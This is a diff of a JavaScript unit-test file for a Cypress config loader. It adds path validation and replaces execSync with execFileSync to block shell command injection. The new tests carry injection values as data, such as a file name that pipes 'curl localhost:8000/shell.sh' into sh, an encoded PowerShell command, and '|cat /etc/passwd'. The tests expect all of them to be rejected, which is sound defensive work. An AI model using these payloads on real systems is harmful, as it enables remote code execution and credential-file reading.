@@ -40,26 +40,83 @@ describe("readCypressConfigUtil", () => {
4040 } ) ;
4141 } ) ;
4242
43+ describe ( 'validateFilePath' , ( ) => {
44+ it ( 'should accept a normal file path' , ( ) => {
45+ expect ( ( ) => readCypressConfigUtil . validateFilePath ( 'path/to/cypress.config.js' ) ) . to . not . throw ( ) ;
46+ } ) ;
47+
48+ it ( 'should accept paths with spaces' , ( ) => {
49+ expect ( ( ) => readCypressConfigUtil . validateFilePath ( 'path/to my project/cypress.config.js' ) ) . to . not . throw ( ) ;
50+ } ) ;
51+
52+ it ( 'should accept Windows absolute paths with backslashes' , ( ) => {
53+ expect ( ( ) => readCypressConfigUtil . validateFilePath ( 'C:\\Users\\test\\cypress.config.js' ) ) . to . not . throw ( ) ;
54+ } ) ;
55+
56+ it ( 'should accept Windows absolute paths with spaces and backslashes (Program Files)' , ( ) => {
57+ expect ( ( ) => readCypressConfigUtil . validateFilePath ( 'C:\\Program Files\\my app\\cypress.config.js' ) ) . to . not . throw ( ) ;
58+ } ) ;
59+
60+ it ( 'should accept Windows relative paths with backslashes' , ( ) => {
61+ expect ( ( ) => readCypressConfigUtil . validateFilePath ( '.\\subdir\\cypress.config.js' ) ) . to . not . throw ( ) ;
62+ } ) ;
63+
64+ it ( 'should accept UNC-style Windows paths' , ( ) => {
65+ expect ( ( ) => readCypressConfigUtil . validateFilePath ( '\\\\server\\share\\cypress.config.js' ) ) . to . not . throw ( ) ;
66+ } ) ;
67+
68+ it ( 'should reject paths with semicolons (command injection)' , ( ) => {
69+ expect ( ( ) => readCypressConfigUtil . validateFilePath ( 'cypress.config";curl localhost:8000/shell.sh|sh;".js' ) )
70+ . to . throw ( / d i s a l l o w e d c h a r a c t e r s / ) ;
71+ } ) ;
72+
73+ it ( 'should reject paths with ampersands (Windows command injection)' , ( ) => {
74+ expect ( ( ) => readCypressConfigUtil . validateFilePath ( 'cypress.config"&powershell -encodedcommand abc&".js' ) )
75+ . to . throw ( / d i s a l l o w e d c h a r a c t e r s / ) ;
76+ } ) ;
77+
78+ it ( 'should reject paths with backticks (subshell injection)' , ( ) => {
79+ expect ( ( ) => readCypressConfigUtil . validateFilePath ( 'cypress.config`whoami`.js' ) )
80+ . to . throw ( / d i s a l l o w e d c h a r a c t e r s / ) ;
81+ } ) ;
82+
83+ it ( 'should reject paths with dollar signs (variable expansion)' , ( ) => {
84+ expect ( ( ) => readCypressConfigUtil . validateFilePath ( 'cypress.config$(id).js' ) )
85+ . to . throw ( / d i s a l l o w e d c h a r a c t e r s / ) ;
86+ } ) ;
87+
88+ it ( 'should reject paths with pipe characters' , ( ) => {
89+ expect ( ( ) => readCypressConfigUtil . validateFilePath ( 'cypress.config|cat /etc/passwd' ) )
90+ . to . throw ( / d i s a l l o w e d c h a r a c t e r s / ) ;
91+ } ) ;
92+ } ) ;
93+
4394 describe ( 'loadJsFile' , ( ) => {
44- it ( 'should load js file' , ( ) => {
45- const loadCommandStub = sandbox . stub ( cp , "execSync " ) . returns ( "random string" ) ;
95+ it ( 'should load js file using execFileSync ' , ( ) => {
96+ const execFileStub = sandbox . stub ( cp , "execFileSync " ) . returns ( "random string" ) ;
4697 const readFileSyncStub = sandbox . stub ( fs , 'readFileSync' ) . returns ( '{"e2e": {}}' ) ;
4798 const existsSyncStub = sandbox . stub ( fs , 'existsSync' ) . returns ( true ) ;
4899 const unlinkSyncSyncStub = sandbox . stub ( fs , 'unlinkSync' ) ;
49100 const requireModulePath = path . join ( __dirname , '../../../../' , 'bin' , 'helpers' , 'requireModule.js' ) ;
50-
101+
51102 const result = readCypressConfigUtil . loadJsFile ( 'path/to/cypress.config.ts' , 'path/to/tmpBstackPackages' ) ;
52-
103+
53104 expect ( result ) . to . eql ( { e2e : { } } ) ;
54- sinon . assert . calledOnceWithExactly ( loadCommandStub , `NODE_PATH="path/to/tmpBstackPackages" node "${ requireModulePath } " "path/to/cypress.config.ts"` ) ;
105+ // Verify execFileSync is called with 'node' as first arg and array of args
106+ sinon . assert . calledOnce ( execFileStub ) ;
107+ expect ( execFileStub . getCall ( 0 ) . args [ 0 ] ) . to . eql ( 'node' ) ;
108+ expect ( execFileStub . getCall ( 0 ) . args [ 1 ] ) . to . eql ( [ requireModulePath , 'path/to/cypress.config.ts' ] ) ;
109+ // Verify NODE_PATH is passed via env option
110+ expect ( execFileStub . getCall ( 0 ) . args [ 2 ] . env . NODE_PATH ) . to . eql ( 'path/to/tmpBstackPackages' ) ;
55111 sinon . assert . calledOnce ( readFileSyncStub ) ;
56112 sinon . assert . calledOnce ( unlinkSyncSyncStub ) ;
57- sinon . assert . calledOnce ( existsSyncStub ) ;
113+ // existsSync is now called twice: once for the file-not-found UX check, once for the unlink cleanup
114+ sinon . assert . calledTwice ( existsSyncStub ) ;
58115 } ) ;
59116
60- it ( 'should load js file for win ' , ( ) => {
117+ it ( 'should load js file using execFileSync on Windows too (no platform-specific branching needed) ' , ( ) => {
61118 sinon . stub ( process , 'platform' ) . value ( 'win32' ) ;
62- const loadCommandStub = sandbox . stub ( cp , "execSync " ) . returns ( "random string" ) ;
119+ const execFileStub = sandbox . stub ( cp , "execFileSync " ) . returns ( "random string" ) ;
63120 const readFileSyncStub = sandbox . stub ( fs , 'readFileSync' ) . returns ( '{"e2e": {}}' ) ;
64121 const existsSyncStub = sandbox . stub ( fs , 'existsSync' ) . returns ( true ) ;
65122 const unlinkSyncSyncStub = sandbox . stub ( fs , 'unlinkSync' ) ;
@@ -68,10 +125,52 @@ describe("readCypressConfigUtil", () => {
68125 const result = readCypressConfigUtil . loadJsFile ( 'path/to/cypress.config.ts' , 'path/to/tmpBstackPackages' ) ;
69126
70127 expect ( result ) . to . eql ( { e2e : { } } ) ;
71- sinon . assert . calledOnceWithExactly ( loadCommandStub , `set NODE_PATH=path/to/tmpBstackPackages&& node "${ requireModulePath } " "path/to/cypress.config.ts"` ) ;
128+ // Same call signature on Windows - execFileSync handles cross-platform
129+ sinon . assert . calledOnce ( execFileStub ) ;
130+ expect ( execFileStub . getCall ( 0 ) . args [ 0 ] ) . to . eql ( 'node' ) ;
131+ expect ( execFileStub . getCall ( 0 ) . args [ 1 ] ) . to . eql ( [ requireModulePath , 'path/to/cypress.config.ts' ] ) ;
132+ expect ( execFileStub . getCall ( 0 ) . args [ 2 ] . env . NODE_PATH ) . to . eql ( 'path/to/tmpBstackPackages' ) ;
72133 sinon . assert . calledOnce ( readFileSyncStub ) ;
73134 sinon . assert . calledOnce ( unlinkSyncSyncStub ) ;
74- sinon . assert . calledOnce ( existsSyncStub ) ;
135+ // existsSync called twice: file-not-found UX check + unlink cleanup
136+ sinon . assert . calledTwice ( existsSyncStub ) ;
137+ } ) ;
138+
139+ it ( 'should accept Windows-style absolute paths in loadJsFile (no rejection)' , ( ) => {
140+ sandbox . stub ( cp , "execFileSync" ) . returns ( "random string" ) ;
141+ sandbox . stub ( fs , 'readFileSync' ) . returns ( '{"e2e": {}}' ) ;
142+ sandbox . stub ( fs , 'existsSync' ) . returns ( true ) ;
143+ sandbox . stub ( fs , 'unlinkSync' ) ;
144+
145+ // None of these should throw
146+ expect ( ( ) => readCypressConfigUtil . loadJsFile ( 'C:\\Users\\test\\cypress.config.js' , 'path/to/tmpBstackPackages' ) )
147+ . to . not . throw ( ) ;
148+ expect ( ( ) => readCypressConfigUtil . loadJsFile ( 'C:\\Program Files\\my app\\cypress.config.js' , 'path/to/tmpBstackPackages' ) )
149+ . to . not . throw ( ) ;
150+ expect ( ( ) => readCypressConfigUtil . loadJsFile ( '.\\subdir\\cypress.config.js' , 'path/to/tmpBstackPackages' ) )
151+ . to . not . throw ( ) ;
152+ } ) ;
153+
154+ it ( 'should throw a clear error when the cypress config file does not exist (UX)' , ( ) => {
155+ sandbox . stub ( fs , 'existsSync' ) . returns ( false ) ;
156+ const execFileStub = sandbox . stub ( cp , "execFileSync" ) ;
157+
158+ expect ( ( ) => readCypressConfigUtil . loadJsFile ( 'path/to/missing/cypress.config.js' , 'path/to/tmpBstackPackages' ) )
159+ . to . throw ( / C y p r e s s c o n f i g f i l e n o t f o u n d a t : / ) ;
160+ // execFileSync must NOT be invoked when the file is missing
161+ sinon . assert . notCalled ( execFileStub ) ;
162+ } ) ;
163+
164+ it ( 'should reject file paths containing command injection characters' , ( ) => {
165+ const maliciousPath = 'cypress.config";curl localhost:8000/shell.sh|sh;".js' ;
166+ expect ( ( ) => readCypressConfigUtil . loadJsFile ( maliciousPath , 'path/to/tmpBstackPackages' ) )
167+ . to . throw ( / d i s a l l o w e d c h a r a c t e r s / ) ;
168+ } ) ;
169+
170+ it ( 'should reject Windows command injection payloads' , ( ) => {
171+ const maliciousPath = 'cypress.config"&powershell -encodedcommand abc&".js' ;
172+ expect ( ( ) => readCypressConfigUtil . loadJsFile ( maliciousPath , 'path/to/tmpBstackPackages' ) )
173+ . to . throw ( / d i s a l l o w e d c h a r a c t e r s / ) ;
75174 } ) ;
76175 } ) ;
77176
0 commit comments